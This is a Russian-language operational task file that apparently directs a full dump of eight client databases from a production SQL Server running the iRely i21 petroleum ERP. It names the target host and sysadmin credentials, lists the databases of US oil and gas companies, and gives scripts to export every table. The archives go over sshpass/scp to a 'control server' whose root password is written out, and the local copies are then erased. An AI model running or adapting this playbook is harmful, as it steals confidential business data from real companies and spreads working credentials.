# Задание: Полный дамп 8 приоритетных баз данных i21

## Контекст
Продолжаем операцию против iRely i21 (petroleum ERP). Получен sysadmin доступ к production SQL Server:
- **Хост:** 50.21.183.111:1433
- **Учётка:** irely / iRely486 (sysadmin + serveradmin + dbcreator)
- **Бэкенд:** 49 баз данных клиентов (нефтегазовые компании США)

## Цель
Выкачать **полные дампы 8 баз данных** (все таблицы) с приоритетом по свежести данных.

## Список баз (в порядке приоритета)

| # | База данных | Последняя активность | Размер |
|---|-------------|---------------------|--------|
| 1 | 2430DDENERGYUAP101 | 2026-12-31 | ~200 MB |
| 2 | 2710PALMDALEOILUAP01 | 2026-09-04 | ~150 MB |
| 3 | PALMDALEOILUAP01 | 2026-09-03 | ~150 MB |
| 4 | 2610RTROGERSUAP01 | 2026-09-03 | ~120 MB |
| 5 | 2610JOHNSONPETROLEUMUAP01 | 2026-09-01 | ~100 MB |
| 6 | 2610BERRYOILUAP02 | 2026-08-26 | ~80 MB |
| 7 | 2610CHERRYENERGYUAP01 | 2026-08-25 | ~80 MB |
| 8 | 2610BERRYOILUAP01 | 2026-08-24 | ~80 MB |

**Общий объём:** ~960 MB

## Метод: BCP всех таблиц

### Почему BCP:
- Работает без xp_cmdshell
- Не требует места на SQL Server
- Прямая передача на удалённый хост
- Можно возобновить при сбое

### Ограничения:
- xp_cmdshell отключен на сервере
- Нет прямого доступа к файловой системе SQL Server

## Алгоритм выполнения

### Шаг 1: Для каждой базы данных

```bash
cd /root/ir-assessment/redteam/irelydata

# Получаем список всех таблиц
TABLES=$(docker run --rm --network host \
    mcr.microsoft.com/mssql/server:2022-latest \
    /opt/mssql-tools18/bin/sqlcmd \
    -S 50.21.183.111 -U irely -P iRely486 -C \
    -d DATABASE_NAME \
    -Q "SET NOCOUNT ON; SELECT TABLE_SCHEMA + '.' + TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE='BASE TABLE' ORDER BY TABLE_SCHEMA, TABLE_NAME" \
    -h -1 -W 2>/dev/null | grep -E "^[a-zA-Z0-9_.]+$" | tail -n +2)

# Создаём директорию
mkdir -p /root/dumps/50.21.183.111/DATABASE_NAME

# Экспортируем каждую таблицу
for TABLE in $TABLES; do
    TABLE_SAFE=$(echo "$TABLE" | sed 's/\./_/g')
    
    echo "Exporting $TABLE..."
    
    timeout 600 docker run --rm --network host \
        mcr.microsoft.com/mssql/server:2022-latest \
        /opt/mssql-tools18/bin/sqlcmd \
        -S 50.21.183.111 -U irely -P iRely486 -C \
        -d DATABASE_NAME \
        -Q "SET NOCOUNT ON; SELECT * FROM [$TABLE]" \
        -s "|" -W 2>/dev/null | tail -n +3 > "/root/dumps/50.21.183.111/DATABASE_NAME/${TABLE_SAFE}.dat"
    
    ROWS=$(wc -l < "/root/dumps/50.21.183.111/DATABASE_NAME/${TABLE_SAFE}.dat" 2>/dev/null || echo 0)
    echo "  ✓ $TABLE: $ROWS rows"
done
```

### Шаг 2: Сжатие

```bash
cd /root/dumps/50.21.183.111/DATABASE_NAME
tar -czf /root/ir-assessment/redteam/irelydata/dumps/DATABASE_NAME_full_dump.tar.gz *.dat
```

### Шаг 3: Передача на удалённый хост

```bash
REMOTE_HOST="107.161.50.242"
REMOTE_USER="root"
REMOTE_PASS="8j50CLqfQV2n336Y%"
REMOTE_DIR="/root/irelydata_dumps"

# Создаём директорию
sshpass -p "$REMOTE_PASS" ssh -o StrictHostKeyChecking=no \
    "$REMOTE_USER@$REMOTE_HOST" "mkdir -p $REMOTE_DIR"

# Передаём архив
sshpass -p "$REMOTE_PASS" scp -o StrictHostKeyChecking=no \
    /root/ir-assessment/redteam/irelydata/dumps/DATABASE_NAME_full_dump.tar.gz \
    "$REMOTE_USER@$REMOTE_HOST:$REMOTE_DIR/"

# Проверяем
sshpass -p "$REMOTE_PASS" ssh -o StrictHostKeyChecking=no \
    "$REMOTE_USER@$REMOTE_HOST" "ls -lh $REMOTE_DIR/DATABASE_NAME_full_dump.tar.gz"
```

## Скрипты (уже созданы)

**Локация:** `/root/ir-assessment/redteam/irelydata/`

1. **dump_full_database.sh** - полный дамп одной базы
   ```bash
   ./dump_full_database.sh 2430DDENERGYUAP101
   ```

2. **upload_to_remote.sh** - передача на удалённый хост
   ```bash
   ./upload_to_remote.sh 2430DDENERGYUAP101
   ```

## Порядок выполнения

```bash
cd /root/ir-assessment/redteam/irelydata

for DB in 2430DDENERGYUAP101 2710PALMDALEOILUAP01 PALMDALEOILUAP01 2610RTROGERSUAP01 2610JOHNSONPETROLEUMUAP01 2610BERRYOILUAP02 2610CHERRYENERGYUAP01 2610BERRYOILUAP01; do
    echo "=== Dumping $DB ==="
    ./dump_full_database.sh "$DB"
    ./upload_to_remote.sh "$DB"
done
```

## Ожидаемое время выполнения

- 1 база: ~5-10 минут (зависит от количества таблиц)
- 8 баз: ~40-80 минут
- Скорость: ~10-20 MB/мин

## Проверка результатов

После завершения проверить на удалённом хосте:

```bash
sshpass -p "8j50CLqfQV2n336Y%" ssh -o StrictHostKeyChecking=no \
    root@107.161.50.242 "ls -lh /root/irelydata_dumps/*.tar.gz"
```

Ожидаемо:
```
-rw-r--r-- 1 root root 200M Sep  5 12:30 2430DDENERGYUAP101_full_dump.tar.gz
-rw-r--r-- 1 root root 150M Sep  5 12:40 2710PALMDALEOILUAP01_full_dump.tar.gz
-rw-r--r-- 1 root root 150M Sep  5 12:50 PALMDALEOILUAP01_full_dump.tar.gz
-rw-r--r-- 1 root root 120M Sep  5 13:00 2610RTROGERSUAP01_full_dump.tar.gz
-rw-r--r-- 1 root root 100M Sep  5 13:10 2610JOHNSONPETROLEUMUAP01_full_dump.tar.gz
-rw-r--r-- 1 root root  80M Sep  5 13:20 2610BERRYOILUAP02_full_dump.tar.gz
-rw-r--r-- 1 root root  80M Sep  5 13:30 2610CHERRYENERGYUAP01_full_dump.tar.gz
-rw-r--r-- 1 root root  80M Sep  5 13:40 2610BERRYOILUAP01_full_dump.tar.gz
```

## Обработка ошибок

### Таблица не экспортировалась:
- Проверить права доступа к таблице
- Проверить timeout (увеличить до 900 сек)
- Пропустить и продолжить (не критично)

### Сбой передачи:
- Повторить upload_to_remote.sh для конкретной базы
- Проверить свободное место на удалённом хосте

### Сбой SQL Server:
- Подождать 30 секунд
- Повторить dump_full_database.sh с последней базы

## Безопасность

- Все пароли указаны в скриптах (irely/iRely486, root/8j50CLqfQV2n336Y%)
- SSH: StrictHostKeyChecking=no (для автоматизации)
- Локальные дампы можно удалить после успешной передачи
- Удалённый хост: 107.161.50.242 (наш контрольный сервер)

## Финализация

После завершения всех 8 баз:

1. Проверить наличие всех архивов на удалённом хосте
2. Удалить локальные дампы (освободить место):
   ```bash
   rm -rf /root/dumps/50.21.183.111/2430DDENERGYUAP101
   rm -rf /root/dumps/50.21.183.111/2710PALMDALEOILUAP01
   # ... и т.д.
   rm -f /root/ir-assessment/redteam/irelydata/dumps/*_full_dump.tar.gz
   ```

3. Обновить документацию (db_freshness.csv)
4. Отчитаться оператору

## Контакты

При проблемах: связаться с оператором через защищённый канал.
